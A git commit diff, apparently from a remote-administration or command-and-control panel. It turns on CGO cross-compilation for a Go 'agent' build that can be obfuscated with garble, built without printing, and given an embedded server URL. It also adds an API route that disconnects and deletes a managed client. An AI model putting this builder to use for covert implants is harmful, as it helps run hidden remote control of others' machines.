enable CGO by default now.
This commit is contained in:
@@ -128,11 +128,41 @@ export async function startBuildProcess(
|
||||
...process.env,
|
||||
GOOS: os,
|
||||
GOARCH: actualArch,
|
||||
CGO_ENABLED: config.disableCgo !== false ? "0" : "1",
|
||||
CGO_ENABLED: config.disableCgo === true ? "0" : "1",
|
||||
GOWORK: "off",
|
||||
...(goarm ? { GOARM: goarm } : {}),
|
||||
};
|
||||
|
||||
if (env.CGO_ENABLED === "1") {
|
||||
const targetKey = `${os}/${actualArch}${goarm ? `/v${goarm}` : ""}`;
|
||||
const cCompilerByTarget: Record<string, string> = {
|
||||
"linux/amd64": "gcc",
|
||||
"windows/amd64": "x86_64-w64-mingw32-gcc",
|
||||
"windows/386": "i686-w64-mingw32-gcc",
|
||||
};
|
||||
const cxxCompilerByTarget: Record<string, string> = {
|
||||
"linux/amd64": "g++",
|
||||
"windows/amd64": "x86_64-w64-mingw32-g++",
|
||||
"windows/386": "i686-w64-mingw32-g++",
|
||||
};
|
||||
|
||||
const cc = cCompilerByTarget[targetKey];
|
||||
const cxx = cxxCompilerByTarget[targetKey];
|
||||
if (cc) {
|
||||
env.CC = cc;
|
||||
sendToStream({ type: "output", text: `CGO compiler: ${cc}\n`, level: "info" });
|
||||
} else {
|
||||
sendToStream({
|
||||
type: "output",
|
||||
text: `CGO compiler not mapped for ${targetKey}; falling back to default compiler lookup\n`,
|
||||
level: "warn",
|
||||
});
|
||||
}
|
||||
if (cxx) {
|
||||
env.CXX = cxx;
|
||||
}
|
||||
}
|
||||
|
||||
let ldflags = config.stripDebug !== false ? "-s -w" : "";
|
||||
|
||||
if (config.serverUrl) {
|
||||
@@ -181,7 +211,7 @@ export async function startBuildProcess(
|
||||
const buildTool = config.obfuscate ? "garble" : "go";
|
||||
const tagArg = config.noPrinting ? "-tags noprint " : "";
|
||||
logger.info(`[build:${buildId.substring(0, 8)}] Building: ${buildTool} build ${tagArg}${ldflags ? `-ldflags="${ldflags}" ` : ""}-o ${outDir}/${outputName} ./cmd/agent`);
|
||||
logger.info(`[build:${buildId.substring(0, 8)}] Environment: GOOS=${os} GOARCH=${actualArch} CGO_ENABLED=${env.CGO_ENABLED}`);
|
||||
logger.info(`[build:${buildId.substring(0, 8)}] Environment: GOOS=${os} GOARCH=${actualArch} CGO_ENABLED=${env.CGO_ENABLED} CC=${env.CC || "<default>"}`);
|
||||
|
||||
const buildCmd = config.obfuscate
|
||||
? (config.noPrinting
|
||||
|
||||
@@ -4,6 +4,7 @@ import { AuditAction, logAudit } from "../../auditLog";
|
||||
import * as clientManager from "../../clientManager";
|
||||
import {
|
||||
banIp,
|
||||
clientExists,
|
||||
deleteClientRow,
|
||||
getClientIp,
|
||||
listClients,
|
||||
@@ -121,6 +122,51 @@ export async function handleClientRoutes(
|
||||
return Response.json({ ok: true, updated: success }, { headers: deps.CORS_HEADERS });
|
||||
}
|
||||
|
||||
const clientDeleteMatch = url.pathname.match(/^\/api\/clients\/([^/]+)$/);
|
||||
if (req.method === "DELETE" && clientDeleteMatch) {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) return new Response("Unauthorized", { status: 401 });
|
||||
|
||||
try {
|
||||
requirePermission(user, "clients:control");
|
||||
} catch (error) {
|
||||
if (error instanceof Response) return error;
|
||||
return new Response("Forbidden", { status: 403 });
|
||||
}
|
||||
|
||||
const targetId = clientDeleteMatch[1];
|
||||
const target = clientManager.getClient(targetId);
|
||||
const existsInDb = clientExists(targetId);
|
||||
if (!target && !existsInDb) {
|
||||
return Response.json({ error: "Client not found" }, { status: 404 });
|
||||
}
|
||||
|
||||
if (target) {
|
||||
try {
|
||||
target.ws.close(4000, "removed");
|
||||
} catch {
|
||||
// Connection may already be closed.
|
||||
}
|
||||
clientManager.deleteClient(targetId);
|
||||
setOnlineState(targetId, false);
|
||||
}
|
||||
|
||||
deleteClientRow(targetId);
|
||||
|
||||
const ip = server.requestIP(req)?.address || "unknown";
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: user.username,
|
||||
ip,
|
||||
action: AuditAction.COMMAND,
|
||||
targetClientId: targetId,
|
||||
details: "remove_dashboard",
|
||||
success: true,
|
||||
});
|
||||
|
||||
return Response.json({ ok: true }, { headers: deps.CORS_HEADERS });
|
||||
}
|
||||
|
||||
if (req.method === "POST") {
|
||||
const cmdMatch = url.pathname.match(/^\/api\/clients\/(.+)\/command$/);
|
||||
if (cmdMatch) {
|
||||
|
||||
Reference in New Issue
Block a user